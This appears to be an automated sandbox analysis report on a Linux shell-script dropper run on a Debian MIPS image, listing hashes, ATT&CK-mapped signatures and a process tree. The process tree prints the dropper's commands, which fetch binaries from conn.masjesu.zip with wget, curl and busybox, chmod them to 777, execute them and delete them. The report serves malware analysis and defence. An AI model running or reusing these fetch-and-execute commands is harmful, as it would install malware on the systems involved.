078afdbe36cf6d03916b58e1e8a0662422ff77f22d06347a6019bc948c53bae9

Analysis

max time kernel
149s
max time network
11s
platform
debian-9_mipsel
resource
debian9-mipsel-20240418-en
resource tags

arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
07/11/2024, 02:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
078afdbe36cf6d03916b58e1e8a0662422ff77f22d06347a6019bc948c53bae9.sh
Size 10KB
Sample241107-chcfqashpc
SHA256 078afdbe36cf6d03916b58e1e8a0662422ff77f22d06347a6019bc948c53bae9
MD5 c3607557825335720796637ca7153a3f
SHA1 6314ef94fbd5304c687ecc644cf34ddde5df9c85
SHA512 af6f857a6180aabce6c1b198b73b198a0e38721d7507c0278ac6046d9df5cbf1cd3d8ab1bf0c60c8a701a524f8552cbe6f7e4af7600b934db74128863a727a36
SSDEEP 96:Yz9z9zSrULVIVEVBKasRJdXrH3e3O3bLHbiTLgcbRJom9m9mhzueziQM2UNN9aSj:WKkUbSTJy/kUy+
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
755	chmod
748	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/coG34xmMP1DNlLrJ6KJQ9PwUWoZNdOXWnP	749	coG34xmMP1DNlLrJ6KJQ9PwUWoZNdOXWnP
/tmp/AqNW3aYXxzngZaQujOqYKv7vkRrmfy15NK	756	AqNW3aYXxzngZaQujOqYKv7vkRrmfy15NK

Reads runtime system information 3 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 8 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
758	wget
768	curl
727	wget
744	curl
747	busybox
751	wget
752	curl
754	busybox

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/coG34xmMP1DNlLrJ6KJQ9PwUWoZNdOXWnP	curl
File opened for modification	/tmp/AqNW3aYXxzngZaQujOqYKv7vkRrmfy15NK	curl

/tmp/078afdbe36cf6d03916b58e1e8a0662422ff77f22d06347a6019bc948c53bae9.sh
/tmp/078afdbe36cf6d03916b58e1e8a0662422ff77f22d06347a6019bc948c53bae9.sh
1⤵
PID:717
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:723
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/coG34xmMP1DNlLrJ6KJQ9PwUWoZNdOXWnP
  2⤵
  - System Network Configuration Discovery
  PID:727
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/coG34xmMP1DNlLrJ6KJQ9PwUWoZNdOXWnP
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:744
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/coG34xmMP1DNlLrJ6KJQ9PwUWoZNdOXWnP
  2⤵
  - System Network Configuration Discovery
  PID:747
- /bin/chmod
  chmod 777 coG34xmMP1DNlLrJ6KJQ9PwUWoZNdOXWnP
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /tmp/coG34xmMP1DNlLrJ6KJQ9PwUWoZNdOXWnP
  ./coG34xmMP1DNlLrJ6KJQ9PwUWoZNdOXWnP
  2⤵
  - Executes dropped EXE
  PID:749
- /bin/rm
  rm coG34xmMP1DNlLrJ6KJQ9PwUWoZNdOXWnP
  2⤵
  PID:750
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/AqNW3aYXxzngZaQujOqYKv7vkRrmfy15NK
  2⤵
  - System Network Configuration Discovery
  PID:751
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/AqNW3aYXxzngZaQujOqYKv7vkRrmfy15NK
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:752
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/AqNW3aYXxzngZaQujOqYKv7vkRrmfy15NK
  2⤵
  - System Network Configuration Discovery
  PID:754
- /bin/chmod
  chmod 777 AqNW3aYXxzngZaQujOqYKv7vkRrmfy15NK
  2⤵
  - File and Directory Permissions Modification
  PID:755
- /tmp/AqNW3aYXxzngZaQujOqYKv7vkRrmfy15NK
  ./AqNW3aYXxzngZaQujOqYKv7vkRrmfy15NK
  2⤵
  - Executes dropped EXE
  PID:756
- /bin/rm
  rm AqNW3aYXxzngZaQujOqYKv7vkRrmfy15NK
  2⤵
  PID:757
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/lLY3RO2INNh7SaAd0NMQWUPdkkPIrE1yEg
  2⤵
  - System Network Configuration Discovery
  PID:758
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/lLY3RO2INNh7SaAd0NMQWUPdkkPIrE1yEg
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:768

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

coG34xmMP1DNlLrJ6KJQ9PwUWoZNdOXWnP

Path /tmp/coG34xmMP1DNlLrJ6KJQ9PwUWoZNdOXWnP
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download